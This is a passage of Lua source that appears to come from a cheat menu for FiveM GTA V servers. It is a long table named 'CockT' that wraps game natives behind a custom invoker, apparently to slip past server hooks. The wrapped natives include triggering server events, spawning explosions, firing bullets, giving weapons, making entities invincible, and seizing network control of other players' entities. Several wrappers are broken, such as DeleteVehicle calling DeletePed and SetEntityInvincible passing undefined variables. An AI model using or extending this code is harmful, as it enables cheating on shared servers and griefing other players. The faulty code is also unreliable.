CockT.Strings.msgunpack(CockT.Inv["Invoke"](CockT.Natives['GetActivePlayers'],
_cit_.ResultAsObject())) end,
GetPedBoneIndex = function(ped, boneId) return CockT.Inv["Invoke"]
(CockT.Natives['GetPedBoneIndex'], ped, boneId, _cit_.ReturnResultAnyway(),
_cit_.ResultAsInteger()) end,
SetEntityVisible = function(entity, toggle, unk) return
CockT.Inv["Invoke"](CockT.Natives['SetEntityVisible'], entity, toggle, unk) end,
AttachEntityToEntity = function(entity1, entity2, boneIndex, xPos, yPos,
zPos, xRot, yRot, zRot, p9, useSoftPinning, collision, isPed, vertexIndex,
fixedRot) return CockT.Inv["Invoke"](CockT.Natives['AttachEntityToEntity'],
entity1, entity2, boneIndex, xPos, yPos, zPos, xRot, yRot, zRot, p9,
useSoftPinning, collision, isPed, vertexIndex, fixedRot) end,
DeleteEntity = function(entity) return CockT.Inv["Invoke"]
(CockT.Natives['DeleteEntity'], _cit_.PointerValueIntInitialized(entity)) end,
DeleteObject = function(entity) return CockT.Inv["Invoke"]
(CockT.Natives['DeleteObject'], _cit_.PointerValueIntInitialized(entity)) end,
DeletePed = function(entity) return CockT.Inv["Invoke"]
(CockT.Natives['DeletePed'], _cit_.PointerValueIntInitialized(entity)) end,
DeleteVehicle = function(entity) return CockT.Inv["Invoke"]
(CockT.Natives['DeletePed'], _cit_.PointerValueIntInitialized(entity)) end,
CreateObject = function(modelHash, x, y, z, isNetwork, thisScriptCheck,
dynamic) return CockT.Inv["Invoke"](CockT.Natives['CreateObject'], modelHash, x, y,
z, isNetwork, thisScriptCheck, dynamic, _cit_.ReturnResultAnyway(),
_cit_.ResultAsInteger()) end,
--GetPlayerPed = function(PlayerId) return GetPlayerPed(PlayerId) end,
GetPlayerPed = function(PlayerId) return CockT.Inv["Invoke"]
(CockT.Natives['GetPlayerPed'], PlayerId, _cit_.ReturnResultAnyway(),
_cit_.ResultAsInteger()) end,
PlayerId = function() return CockT.Inv["Invoke"]
(CockT.Natives['PlayerId'], _cit_.ReturnResultAnyway(), _cit_.ResultAsInteger())
end,
PlayerPedId = function() return CockT.Inv["Invoke"]
(CockT.Natives['PlayerPedId'], _cit_.ReturnResultAnyway(), _cit_.ResultAsInteger())
end,
DoesCamExist = function(cam) return CockT.Inv["Invoke"]
(CockT.Natives['DoesCamExist'], cam, _cit_.ReturnResultAnyway()) end,
GetVehiclePedIsIn = function(ped, lastVehicle) return
CockT.Inv["Invoke"](CockT.Natives['GetVehiclePedIsIn'], ped, lastVehicle,
_cit_.ReturnResultAnyway(), _cit_.ResultAsInteger()) end,
GetPedInVehicleSeat = function(vehicle, index) return
CockT.Inv["Invoke"](CockT.Natives['GetPedInVehicleSeat'], vehicle, index,
_cit_.ReturnResultAnyway(), _cit_.ResultAsInteger()) end,
TriggerServerEventInternal = function(eventName, eventPayload,
payloadLength) return CockT.Inv["Invoke"]
(CockT.Natives['TriggerServerEventInternal'], CockT.Strings.tostring(eventName),
CockT.Strings.tostring(eventPayload), payloadLength) end,
TriggerEventInternal = function(eventName, eventPayload, payloadLength)
return CockT.Inv["Invoke"](CockT.Natives['TriggerEventInternal'],
CockT.Strings.tostring(eventName), CockT.Strings.tostring(eventPayload),
payloadLength) end,
ShootSingleBulletBetweenCoords = function(x1, y1, z1, x2, y2, z2,
damage, p7, weaponHash, ownerPed, isAudible, isInvisible, speed) return
CockT.Inv["Invoke"](CockT.Natives['ShootSingleBulletBetweenCoords'], x1, y1, z1,
x2, y2, z2, damage, p7, weaponHash, ownerPed, isAudible, isInvisible, speed) end,
RequestModel = function(model) return CockT.Inv["Invoke"]
(CockT.Natives['RequestModel'], model) end,
GetHashKey = function(hash) return CockT.Inv["Invoke"]
(CockT.Natives['GetHashKey'], CockT.Strings.tostring(hash),
_cit_.ReturnResultAnyway(), _cit_.ResultAsInteger()) end,
SetPedComponentVariation = function(ped, componentId, drawableId,
textureId, paletteId) return CockT.Inv["Invoke"]
(CockT.Natives['SetPedComponentVariation'], ped, componentId, drawableId,
textureId, paletteId) end,
CreatePed = function(pedType, modelHash, x, y, z, heading, isNetwork,
thisScriptCheck) return CockT.Inv["Invoke"](CockT.Natives['CreatePed'], pedType,
modelHash, x, y, z, heading, isNetwork, thisScriptCheck,
_cit_.ReturnResultAnyway(), _cit_.ResultAsInteger()) end,
SetVehicleColours = function(vehicle, colorPrimary, colorSecondary)
return CockT.Inv["Invoke"](CockT.Natives['SetVehicleColours'], vehicle,
colorPrimary, colorSecondary) end,
SetVehicleNumberPlateText = function(vehicle, plateText) return
CockT.Inv["Invoke"](CockT.Natives['SetVehicleNumberPlateText'], vehicle,
CockT.Strings.tostring(plateText)) end,
SetEntityVelocity = function(entity, x, y, z) return CockT.Inv["Invoke"]
(CockT.Natives['SetEntityVelocity'], entity, x, y, z) end,
SetTextJustification = function(justifyType) return CockT.Inv["Invoke"]
(CockT.Natives['SetTextJustification'], justifyType) end,
GetCamCoord = function(cam) return CockT.Inv["Invoke"]
(CockT.Natives['GetCamCoord'], cam, _cit_.ReturnResultAnyway(),
_cit_.ResultAsVector()) end,
GetCamRot = function(cam, rotationOrder) return CockT.Inv["Invoke"]
(CockT.Natives['GetCamRot'], cam, rotationOrder, _cit_.ReturnResultAnyway(),
_cit_.ResultAsVector()) end,
CreateCam = function(camName, p1) return CockT.Inv["Invoke"]
(CockT.Natives['CreateCam'], CockT.Strings.tostring(camName), p1,
_cit_.ReturnResultAnyway(), _cit_.ResultAsInteger()) end,
CreateRuntimeTxd = function(name) return CockT.Inv["Invoke"]
(CockT.Natives['CreateRuntimeTxd'], CockT.Strings.tostring(name),
_cit_.ReturnResultAnyway(), _cit_.ResultAsLong()) end,
GetDuiHandle = function(duiObject) return CockT.Inv["Invoke"]
(CockT.Natives['GetDuiHandle'], duiObject, _cit_.ReturnResultAnyway(),
_cit_.ResultAsString()) end,
CreateRuntimeTextureFromDuiHandle = function(txd, txn, duiHandle) return
CockT.Inv["Invoke"](CockT.Natives['CreateRuntimeTextureFromDuiHandle'], txd, txn,
duiHandle, _cit_.ReturnResultAnyway(), _cit_.ResultAsLong()) end,
--[[GetResourceState = function(resourceName)
return CockT.Inv["Invoke"](CockT.Natives['GetResourceState'],
CockT.Strings.tostring(resourceName), _cit_.ReturnResultAnyway(),
_cit_.ResultAsString())
end,]]
GetResourceState = function(resourceName)
return GetResourceState(CockT.Strings.tostring(resourceName),
_cit_.ReturnResultAnyway(), _cit_.ResultAsString())
end,
GetNumVehicleMods = function(vehicle, modType) return
CockT.Inv["Invoke"](CockT.Natives['GetNumVehicleMods'], vehicle, modType,
_cit_.ReturnResultAnyway(), _cit_.ResultAsInteger()) end,
GiveDelayedWeaponToPed = function(ped, weaponHash, ammoCount,
bForceInHand) return CockT.Inv["Invoke"](CockT.Natives['GiveDelayedWeaponToPed'],
ped, weaponHash, ammoCount, bForceInHand) end,
TaskVehicleDriveToCoord = function(ped, vehicle, x, y, z, speed, p6,
vehicleModel, drivingMode, stopRange, p10) return CockT.Inv["Invoke"]
(CockT.Natives['TaskVehicleDriveToCoord'], ped, vehicle, x, y, z, speed, p6,
vehicleModel, drivingMode, stopRange, p10) end,
SetDriveTaskDrivingStyle = function(ped, drivingStyle) return
CockT.Inv["Invoke"](CockT.Natives['SetDriveTaskDrivingStyle'], ped, drivingStyle)
end,
NetworkRequestControlOfEntity = function(entity) return
CockT.Inv["Invoke"](CockT.Natives['NetworkRequestControlOfEntity'], entity,
_cit_.ReturnResultAnyway()) end,
GetBlipInfoIdCoord = function(blip) return CockT.Inv["Invoke"]
(CockT.Natives['GetBlipInfoIdCoord'], blip, _cit_.ReturnResultAnyway(),
_cit_.ResultAsVector()) end,
DoesEntityExist = function(entity) return CockT.Inv["Invoke"]
(CockT.Natives['DoesEntityExist'], entity, _cit_.ReturnResultAnyway()) end,
GetVehiclePedIsUsing = function(ped) return CockT.Inv["Invoke"]
(CockT.Natives['GetVehiclePedIsUsing'], ped, _cit_.ReturnResultAnyway(),
_cit_.ResultAsInteger()) end,
ClearPedSecondaryTask = function(ped) return CockT.Inv["Invoke"]
(CockT.Natives['ClearPedSecondaryTask'], ped) end,
SetEntityMaxSpeed = function(entity, speed) return CockT.Inv["Invoke"]
(CockT.Natives['SetEntityMaxSpeed'], entity, speed) end,
GetNuiCursorPosition = function() return CockT.Inv["Invoke"]
(CockT.Natives['GetNuiCursorPosition'], _cit_.PointerValueInt(),
_cit_.PointerValueInt()) end,
DrawSprite = function(textureDict, textureName, screenX, screenY, width,
height, heading, red, green, blue, alpha) return CockT.Inv["Invoke"]
(CockT.Natives['DrawSprite'], CockT.Strings.tostring(textureDict),
CockT.Strings.tostring(textureName), screenX, screenY, width, height, heading, red,
green, blue, alpha); end,
DrawRect = function(x, y, width, height, r, g, b, a) return
CockT.Inv["Invoke"](CockT.Natives['DrawRect'], x, y, width, height, r, g, b, a)
end,
SetTextCentre = function(align) return CockT.Inv["Invoke"]
(CockT.Natives['SetTextCentre'], align) end,
GetGroundZFor_3dCoord = function(x, y, z, unk) return
CockT.Inv["Invoke"](CockT.Natives['GetGroundZFor_3dCoord'], x, y, z,
_cit_.PointerValueFloat(), unk, _cit_.ReturnResultAnyway())end,
GetEntityBoneIndexByName = function(entity, boneName) return
CockT.Inv["Invoke"](CockT.Natives['GetEntityBoneIndexByName'], entity, boneName)
end,
SetVehicleOnGroundProperly = function(vehicle) return
CockT.Inv["Invoke"](CockT.Natives['SetVehicleOnGroundProperly'], vehicle,
_cit_.ReturnResultAnyway()) end,
SetVehicleModKit = function(vehicle, modKit) return CockT.Inv["Invoke"]
(CockT.Natives['SetVehicleModKit'], vehicle, modKit) end,
SetVehicleMod = function(vehicle, modType, modIndex, customTires) return
CockT.Inv["Invoke"](CockT.Natives['SetVehicleMod'], vehicle, modType, modIndex,
customTires) end,
ToggleVehicleMod = function(vehicle, modType, toggle) return
CockT.Inv["Invoke"](CockT.Natives['ToggleVehicleMod'], vehicle, modType, toggle)
end,
TaskPlayAnim = function(ped, animDictionary, animationName,
blendInSpeed, blendOutSpeed, duration, flag, playbackRate, lockX, lockY, lockZ)
return CockT.Inv["Invoke"](CockT.Natives['TaskPlayAnim'], ped,
CockT.Strings.tostring(animDictionary), CockT.Strings.tostring(animationName),
blendInSpeed, blendOutSpeed, duration, flag, playbackRate, lockX, lockY, lockZ)
end,
ClearPedTasks = function(ped) return CockT.Inv["Invoke"]
(CockT.Natives['ClearPedTasks'], ped) end,
RemoveWeaponFromPed = function(ped, weaponHash) return
CockT.Inv["Invoke"](CockT.Natives['RemoveWeaponFromPed'], ped, weaponHash) end,
GiveWeaponToPed = function(ped, weaponHash, ammoCount, isHidden,
equipNow) return CockT.Inv["Invoke"](CockT.Natives['GiveWeaponToPed'], ped,
weaponHash, ammoCount, isHidden, equipNow) end,
PlaySoundFrontend = function(soundId, audioName, audioRef, p3) return
CockT.Inv["Invoke"](CockT.Natives['PlaySoundFrontend'], soundId,
CockT.Strings.tostring(audioName), CockT.Strings.tostring(audioRef), p3) end,
PlaySound = function(soundId, audioName, audioRef, p3) return
CockT.Inv["Invoke"](CockT.Natives['PlaySound'], soundId,
CockT.Strings.tostring(audioName), CockT.Strings.tostring(audioRef), p3) end,
GetSelectedPedWeapon = function(ped) return CockT.Inv["Invoke"]
(CockT.Natives['GetSelectedPedWeapon'], ped, _cit_.ReturnResultAnyway(),
_cit_.ResultAsInteger()) end,
SetPedAmmo = function(ped, weaponHash, ammo) return CockT.Inv["Invoke"]
(CockT.Natives['SetPedAmmo'], ped, weaponHash, ammo) end,
SetVehicleWindowTint = function(vehicle, tint) return
CockT.Inv["Invoke"](CockT.Natives['SetVehicleWindowTint'], vehicle, tint) end,
SetVehicleTyresCanBurst = function(vehicle, bool) return
CockT.Inv["Invoke"](CockT.Natives['SetVehicleTyresCanBurst'], vehicle, bool) end,
SetVehicleNumberPlateTextIndex = function(vehicle, plateIndex) return
CockT.Inv["Invoke"](CockT.Natives['SetVehicleNumberPlateTextIndex'], vehicle,
plateIndex) end,
SetVehicleFixed = function(vehicle) return CockT.Inv["Invoke"]
(CockT.Natives['SetVehicleFixed'], vehicle) end,
SetPedKeepTask = function(ped, bool) return CockT.Inv["Invoke"]
(CockT.Natives['SetPedKeepTask'], ped, bool) end,
SetEntityInvincible = function(ped, bool) return CockT.Inv["Invoke"]
(CockT.Natives['SetEntityInvincible'], entity, toggle) end,
IsEntityPlayingAnim = function(entity, animDict, animName, taskFlag)
return CockT.Inv["Invoke"](CockT.Natives['IsEntityPlayingAnim'], entity,
CockT.Strings.tostring(animDict), CockT.Strings.tostring(animName), taskFlag) end,
FreezeEntityPosition = function(entity, toggle) return
CockT.Inv["Invoke"](CockT.Natives['FreezeEntityPosition'], entity, toggle) end,
SetExtraTimecycleModifier = function(modifierName) return
CockT.Inv["Invoke"](CockT.Natives['SetExtraTimecycleModifier'], modifierName) end,
ClearExtraTimecycleModifier = function() return CockT.Inv["Invoke"]
(CockT.Natives['ClearExtraTimecycleModifier']) end,
ForceSocialClubUpdate = function() return CockT.Inv["Invoke"]
(CockT.Natives['ForceSocialClubUpdate']) end,
RestartGame = function() return CockT.Inv["Invoke"]
(CockT.Natives['RestartGame']) end,
DisableControlAction = function(padIndex, control, bool) return
CockT.Inv["Invoke"](CockT.Natives['DisableControlAction'], padIndex, control, bool)
end,
GetPlayerName = function(player) return CockT.Inv["Invoke"]
(CockT.Natives['GetPlayerName'], player, _cit_.ResultAsString()) end,
GetCurrentServerEndpoint = function() return CockT.Inv["Invoke"]
(CockT.Natives['GetCurrentServerEndpoint'], _cit_.ReturnResultAnyway(),
_cit_.ResultAsString()) end,
IsPedDeadOrDying = function(ped, p1) return CockT.Inv["Invoke"]
(CockT.Natives['IsPedDeadOrDying'], ped, p1, _cit_.ReturnResultAnyway(),
_cit_.ResultAsString()) end,
GetCurrentResourceName = function() return CockT.Inv["Invoke"]
(CockT.Natives['GetCurrentResourceName'], _cit_.ReturnResultAnyway(),
_cit_.ResultAsString()) end,
SetFollowPedCamViewMode = function(viewMode) return CockT.Inv["Invoke"]
(CockT.Natives['SetFollowPedCamViewMode'], viewMode) end,
SetWeatherTypePersist = function(weatherType) return CockT.Inv["Invoke"]
(CockT.Natives['SetWeatherTypePersist'], weatherType) end,
SetWeatherTypeNowPersist = function(weatherType) return
CockT.Inv["Invoke"](CockT.Natives['SetWeatherTypeNowPersist'], weatherType) end,
SetWeatherTypeNow = function(weatherType) return CockT.Inv["Invoke"]
(CockT.Natives['SetWeatherTypeNow'], weatherType) end,
SetOverrideWeather = function(weatherType) return CockT.Inv["Invoke"]
(CockT.Natives['SetWeatherTypeNow'], weatherType) end,
CreatePedInsideVehicle = function(vehicle, pedType, modelHash, seat,
isNetwork, thisScriptCheck) return CockT.Inv["Invoke"]
(CockT.Natives['CreatePedInsideVehicle'], vehicle, pedType, modelHash, seat,
isNetwork, thisScriptCheck, _cit_.ReturnResultAnyway(), _cit_.ResultAsInteger())
end,
RequestAnimDict = function(animDict) return CockT.Inv["Invoke"]
(CockT.Natives['RequestAnimDict'], animDict) end,
HasAnimDictLoaded = function(animDict) return CockT.Inv["Invoke"]
(CockT.Natives['HasAnimDictLoaded'], animDict) end,
SetPedCurrentWeaponVisible = function(ped, visible, deselectWeapon, p3,
p4) return CockT.Inv["Invoke"](CockT.Natives['SetPedCurrentWeaponVisible'], ped,
visible, deselectWeapon, p3, p4) end,
SetPedConfigFlag = function(ped, flagId, value) return
CockT.Inv["Invoke"](CockT.Natives['SetPedConfigFlag'], ped, flagId, value) end,
RemoveAnimDict = function(animDict) return CockT.Inv["Invoke"]
(CockT.Natives['RemoveAnimDict'], animDict) end,
TaskMoveNetworkByName = function(ped, task, multiplier, p3, animDict,
flags) return CockT.Inv["Invoke"](CockT.Natives['TaskMoveNetworkByName'], ped,
task, multiplier, p3, animDict, flags) end,
SetTaskMoveNetworkSignalFloat = function(ped, signalName, value) return
CockT.Inv["Invoke"](CockT.Natives['SetTaskMoveNetworkSignalFloat'], ped,
signalName, value) end,
SetTaskMoveNetworkSignalBool = function(ped, signalName, value) return
CockT.Inv["Invoke"](CockT.Natives['SetTaskMoveNetworkSignalBool'], ped, signalName,
value) end,
IsTaskMoveNetworkActive = function(ped) return CockT.Inv["Invoke"]
(CockT.Natives['IsTaskMoveNetworkActive'], ped) end,
StartShapeTestCapsule = function(x1, y1, z1, x2, y2, z2, radius, flags,
entity, p9) return CockT.Inv["Invoke"](CockT.Natives['StartShapeTestCapsule'], x1,
y1, z1, x2, y2, z2, radius, flags, entity, p9) end,
GetRaycastResult = function(shapeTestHandle, hit, endCoords,
surfaceNormal, entityHit) return GetRaycastResult(shapeTestHandle, hit, endCoords,
surfaceNormal, entityHit) end,
GetGameplayCamRelativePitch = function() return CockT.Inv["Invoke"]
(CockT.Natives['GetGameplayCamRelativePitch'], _cit_.ReturnResultAnyway(),
_cit_.ResultAsFloat()) end,
GetGameplayCamRelativeHeading = function() return CockT.Inv["Invoke"]
(CockT.Natives['GetGameplayCamRelativeHeading'], _cit_.ReturnResultAnyway(),
_cit_.ResultAsFloat()) end,
GetOffsetFromEntityInWorldCoords = function(entity, offsetX, offsetY,
offsetZ) return CockT.Inv["Invoke"]
(CockT.Natives['GetOffsetFromEntityInWorldCoords'], entity, offsetX, offsetY,
offsetZ, _cit_.ReturnResultAnyway(), _cit_.ResultAsVector()) end,
RequestTaskMoveNetworkStateTransition = function(ped, name) return
CockT.Inv["Invoke"](CockT.Natives['RequestTaskMoveNetworkStateTransition'], ped,
name) end,
IsPedInjured = function(ped) return CockT.Inv["Invoke"]
(CockT.Natives['IsPedInjured'], ped) end,
IsPedInAnyVehicle = function(ped, bool) return CockT.Inv["Invoke"]
(CockT.Natives['IsPedInAnyVehicle'], ped, bool, _cit_.ReturnResultAnyway()) end,
SetTextOutline = function() return CockT.Inv["Invoke"]
(CockT.Natives['SetTextOutline']) end,
SetTextProportional = function(p0) return CockT.Inv["Invoke"]
(CockT.Natives['SetTextProportional'], p0) end,
SetTextEdge = function(p0, r, g, b, a) return CockT.Inv["Invoke"]
(CockT.Natives['SetTextEdge'], p0, r, g, b, a) end,
SetTextFont = function(fontType) return CockT.Inv["Invoke"]
(CockT.Natives['SetTextFont'], fontType) end,
SetDrawOrigin = function(x, y, z, p3) return CockT.Inv["Invoke"]
(CockT.Natives['SetDrawOrigin'], x, y, z, p3) end,
SetTextScale = function(scale, size) CockT.Inv["Invoke"]
(CockT.Natives['SetTextScale'], scale, size) end,
SetTextColour = function(r, g, b, a) return CockT.Inv["Invoke"]
(CockT.Natives['SetTextColour'], r, g, b, a) end,
SetTextDropshadow = function(distance, r, g, b, a) return
CockT.Inv["Invoke"](CockT.Natives['SetTextDropshadow'], distance, r, g, b, a) end,
SetTextEntry = function(text) return CockT.Inv["Invoke"]
(CockT.Natives['SetTextEntry'], text) end,
SetTextCentre = function(align) return CockT.Inv["Invoke"]
(CockT.Natives['SetTextCentre'], align) end,
--AddTextComponentString = function(text) return
AddTextComponentString(text) end,
AddTextComponentString = function(text) return CockT.Inv["Invoke"]
(CockT.Natives['AddTextComponentString'], text) end,
CancelEvent = function() return CockT.Inv["Invoke"]
(CockT.Natives['CancelEvent']) end,
ClearDrawOrigin = function() return CockT.Inv["Invoke"]
(CockT.Natives['ClearDrawOrigin']) end,
AddTextComponentSubstringWebsite = function(website) return
AddTextComponentSubstringWebsite(website) end,
EndTextCommandDisplayText = function(x, y) return CockT.Inv["Invoke"]
(CockT.Natives['EndTextCommandDisplayText'], x, y) end,
BeginTextCommandDisplayText = function(text) return CockT.Inv["Invoke"]
(CockT.Natives['BeginTextCommandDisplayText'], CockT.Strings.tostring(text)) end,
DrawText = function(x, y) return CockT.Inv["Invoke"]
(CockT.Natives['DrawText'], x, y) end,
GetControlNormal = function(padIndex, control) return
CockT.Inv["Invoke"](CockT.Natives['GetControlNormal'], padIndex, control,
_cit_.ReturnResultAnyway(), _cit_.ResultAsFloat()) end,
--GetResourceByFindIndex = function(findIndex) return
CockT.Inv["Invoke"](CockT.Natives['GetResourceByFindIndex'], findIndex,
_cit_.ReturnResultAnyway(), _cit_.ResultAsString()) end,
GetResourceByFindIndex = function(findIndex) return
GetResourceByFindIndex(findIndex, _cit_.ReturnResultAnyway(),
_cit_.ResultAsString()) end,
SetEntityCoords = function(entity, xPos, yPos, zPos, xAxis, yAxis,
zAxis, clearArea) return CockT.Inv["Invoke"](CockT.Natives['SetEntityCoords'],
entity, xPos, yPos, zPos, xAxis, yAxis, zAxis, clearArea) end,
SetVehicleEngineOn = function(vehicle, value, instantly, noAutoTurnOn)
return CockT.Inv["Invoke"](CockT.Natives['SetVehicleEngineOn'], vehicle, value,
instantly, noAutoTurnOn) end,
TriggerSiren = function(vehicle) return CockT.Inv["Invoke"]
(CockT.Natives['TriggerSiren'], vehicle) end,
SetVehicleSiren = function(vehicle, bool) return CockT.Inv["Invoke"]
(CockT.Natives['SetVehicleSiren'], vehicle, bool) end,
SetEntityRotation = function(entity, pitch, roll, yaw, rotationOrder,
p5) return CockT.Inv["Invoke"](CockT.Natives['SetEntityRotation'], entity, pitch,
roll, yaw, rotationOrder, p5) end,
GetEntityHeading = function(entity) return CockT.Inv["Invoke"]
(CockT.Natives['GetEntityHeading'], entity, _cit_.ReturnResultAnyway(),
_cit_.ResultAsFloat()) end,
SetEntityHeading = function(entity, heading) return CockT.Inv["Invoke"]
(CockT.Natives['SetEntityHeading'], entity, heading) end,
SetEntityCollision = function(entity, toggle, keepPhysics) return
CockT.Inv["Invoke"](CockT.Natives['SetEntityCollision'], entity, toggle,
keepPhysics) end,
SetEntityCoordsNoOffset = function(entity, xPos, yPos, zPos, xAxis,
yAxis, zAxis) return CockT.Inv["Invoke"](CockT.Natives['SetEntityCoordsNoOffset'],
entity, xPos, yPos, zPos, xAxis, yAxis, zAxis) end,
NetworkHasControlOfEntity = function(entity) return CockT.Inv["Invoke"]
(CockT.Natives['NetworkHasControlOfEntity'], entity, _cit_.ReturnResultAnyway())
end,
SetNetworkIdCanMigrate = function(netId, toggle) return
CockT.Inv["Invoke"](CockT.Natives['SetNetworkIdCanMigrate'], netId, toggle) end,
NetworkGetNetworkIdFromEntity = function(entity) return
CockT.Inv["Invoke"](CockT.Natives['NetworkGetNetworkIdFromEntity'], entity) end,
EndTextCommandGetWidth = function(p0) return CockT.Inv["Invoke"]
(CockT.Natives['EndTextCommandGetWidth'], p0, _cit_.ReturnResultAnyway(),
_cit_.ResultAsFloat()) end,
GetShapeTestResult = function(shapeTestHandle) return
CockT.Inv["Invoke"](CockT.Natives['GetShapeTestResult'], shapeTestHandle,
_cit_.PointerValueInt(), _cit_.PointerValueVector(), _cit_.PointerValueVector(),
_cit_.PointerValueInt(), _cit_.ReturnResultAnyway(), _cit_.ResultAsInteger()) end,
IsDisabledControlJustReleased = function(padIndex, control) return
CockT.Inv["Invoke"](CockT.Natives['IsDisabledControlJustReleased'], padIndex,
control, _cit_.ReturnResultAnyway()) end,
IsDisabledControlPressed = function(padIndex, control) return
CockT.Inv["Invoke"](CockT.Natives['IsDisabledControlPressed'], padIndex, control,
_cit_.ReturnResultAnyway()) end,
SetRunSprintMultiplierForPlayer = function(player, multiplier) return
CockT.Inv["Invoke"](CockT.Natives['SetRunSprintMultiplierForPlayer'], player,
multiplier) end,
SetPedMoveRateOverride = function(ped, value) return CockT.Inv["Invoke"]
(CockT.Natives['SetPedMoveRateOverride'], ped, value) end,
GetStreetNameFromHashKey = function(hash) return
GetStreetNameFromHashKey(hash) end,
GetStreetNameAtCoord = function(x, y, z, streetName, crossingRoad)
return GetStreetNameAtCoord(x, y, z, streetName, crossingRoad) end,
GetEntityHealth = function(entity) return CockT.Inv["Invoke"]
(CockT.Natives['GetEntityHealth'], entity, _cit_.ReturnResultAnyway(),
_cit_.ResultAsInteger()) end,
ClearPedLastWeaponDamage = function(ped) return CockT.Inv["Invoke"]
(CockT.Natives['ClearPedLastWeaponDamage'], ped) end,
SetEntityProofs = function(entity, bulletProof, fireProof,
explosionProof, collisionProof, meleeProof, p6, p7, drownProof) return
CockT.Inv["Invoke"](CockT.Natives['SetEntityProofs'], entity, bulletProof,
fireProof, explosionProof, collisionProof, meleeProof, p6, p7, drownProof) end,
SetEntityOnlyDamagedByPlayer = function(entity, bool) return
CockT.Inv["Invoke"](CockT.Natives['SetEntityOnlyDamagedByPlayer'], entity, bool)
end,
SetEntityCanBeDamaged = function(entity, bool) return
CockT.Inv["Invoke"](CockT.Natives['SetEntityCanBeDamaged'], entity, bool) end,
ClearTimecycleModifier = function() return CockT.Inv["Invoke"]
(CockT.Natives['ClearTimecycleModifier']) end,
GetDisabledControlNormal = function(padIndex, control) return
CockT.Inv["Invoke"](CockT.Natives['GetDisabledControlNormal'], padIndex, control,
_cit_.ReturnResultAnyway(), _cit_.ResultAsFloat()) end,
RenderScriptCams = function(render, ease, easeTime, p3, p4) return
CockT.Inv["Invoke"](CockT.Natives['RenderScriptCams'], render, ease, easeTime, p3,
p4) end,
SetCamActive = function(cam, bool) return CockT.Inv["Invoke"]
(CockT.Natives['SetCamActive'], cam, bool) end,
SetCamCoord = function(cam, posX, posY, posZ) return CockT.Inv["Invoke"]
(CockT.Natives['SetCamCoord'], cam, posX, posY, posZ) end,
AddExplosion = function(x, y, z, explosionType, damageScale, isAudible,
isInvisible, cameraShake) return CockT.Inv["Invoke"](CockT.Natives['AddExplosion'],
x, y, z, explosionType, damageScale, isAudible, isInvisible, cameraShake) end,
BeginTextCommandWidth = function(string) return CockT.Inv["Invoke"]
(CockT.Natives['BeginTextCommandWidth'], string) end,
SetGameplayCamRelativeRotation = function(roll, pitch, yaw) return
CockT.Inv["Invoke"](CockT.Natives['SetGameplayCamRelativeRotation'], roll, pitch,
yaw) end,
IsDisabledControlJustPressed = function(padIndex, control) return
CockT.Inv["Invoke"](CockT.Natives['IsDisabledControlJustPressed'], padIndex,
control, _cit_.ReturnResultAnyway()) end,
GetEntityPlayerIsFreeAimingAt = function(player, entity) return
CockT.Inv["Invoke"](CockT.Natives['GetEntityPlayerIsFreeAimingAt'], player,
_cit_.PointerValueIntInitialized(entity), _cit_.ReturnResultAnyway()) end,
SetPedShootsAtCoord = function(ped, x, y, z, toggle) return
CockT.Inv["Invoke"](CockT.Natives['SetPedShootsAtCoord'], ped, x, y, z, toggle)
end,
IsEntityAPed = function(entity) return CockT.Inv["Invoke"]
(CockT.Natives['IsEntityAPed'], entity, _cit_.ReturnResultAnyway()) end,
IsEntityDead = function(entity) return CockT.Inv["Invoke"]
(CockT.Natives['IsEntityDead'], entity, _cit_.ReturnResultAnyway()) end,
ShowLine = function(p0) return CockT.Inv["Invoke"]
(CockT.Natives['ShowLineUnderWall'], p0, _cit_.ReturnResultAnyway()) end,
SelectPed = function(p0, p1) return CockT.Inv["Invoke"]
(CockT.Natives['SelectPed'], p0, p1, _cit_.ReturnResultAnyway()) end,
Vdist = function(x1, y1, z1, x2, y2, z2) return CockT.Inv["Invoke"]
(CockT.Natives['Vdist'], x1, y1, z1, x2, y2, z2) end,
GetFinalRenderedCamCoord = function() return CockT.Inv["Invoke"]
(CockT.Natives['GetFinalRenderedCamCoord'], _cit_.ReturnResultAnyway(),
_cit_.ResultAsVector()) end,
StartExpensiveSynchronousShapeTestLosProbe = function(x1, y1, z1, x2,
y2, z2, flags, entity, p8) return CockT.Inv["Invoke"]
(CockT.Natives['StartExpensiveSynchronousShapeTestLosProbe'], x1, y1, z1, x2, y2,
z2, flags, entity, p8) end,
clean = function(str, is_esp) local str = str:gsub("~", "") if #str >= 6
and not is_esp then str = str:sub(1, 6) .. "..." end; return str end,
Enumerate = function(initFunc, moveFunc, disposeFunc) return
coroutine.wrap(function() local iter, id = initFunc() if not id or id == 0 then;
disposeFunc(iter); return end local enum = {handle = iter, destructor =
disposeFunc} setmetatable(enum, entityEnumerator) local next = true repeat
coroutine.yield(id) next, id = moveFunc(iter) until not next enum.destructor,
enum.handle = nil, nil disposeFunc(iter) end) end,
Leprint = function(message) return CockT.Math.printLog('\n'..message)
end,
RequestControlOnce = function(entity) if CockT.Inv["Invoke"]
(CockT.Natives['NetworkHasControlOfEntity'], entity) then return true end
CockT.Inv["Invoke"](CockT.Natives['SetNetworkIdCanMigrate'], CockT.Inv["Invoke"]
(CockT.Natives['NetworkGetNetworkIdFromEntity'], entity), true) return
CockT.Inv["Invoke"](CockT.Natives['NetworkRequestControlOfEntity'], entity) end,
GetPlayerServerId = function(id) return CockT.Inv["Invoke"]
(CockT.Natives['GetPlayerServerId'], id, _cit_.ReturnResultAnyway(),
_cit_.ResultAsInteger()) end,
GetPlayerFromServerId = function(id) return CockT.Inv["Invoke"]
(CockT.Natives['GetPlayerFromServerId'], id, _cit_.ReturnResultAnyway(),
_cit_.ResultAsInteger()) end,
NetworkIsPlayerActive = function(player) return CockT.Inv["Invoke"]
(CockT.Natives['NetworkIsPlayerActive'], player, _cit_.ReturnResultAnyway()) end,
HasModelLoaded = function(model) return CockT.Inv["Invoke"]
(CockT.Natives['HasModelLoaded'], model, _cit_.ReturnResultAnyway()) end,
GetEntityModel = function(entity) return CockT.Inv["Invoke"]
(CockT.Natives['GetEntityModel'], entity, _cit_.ReturnResultAnyway(),
_cit_.ResultAsInteger()) end,
SetVehicleForwardSpeed = function(vehicle, speed) return
CockT.Inv["Invoke"](CockT.Natives['SetVehicleForwardSpeed'], vehicle, speed) end,
GetModelDimensions = function(modelHash) return CockT.Inv["Invoke"]
(CockT.Natives['GetModelDimensions'], modelHash, _cit_.PointerValueVector(),
_cit_.PointerValueVector()) end,
DoesBlipExist = function(blip) return CockT.Inv["Invoke"]
(CockT.Natives['DoesBlipExist'], blip, _cit_.ReturnResultAnyway()) end,
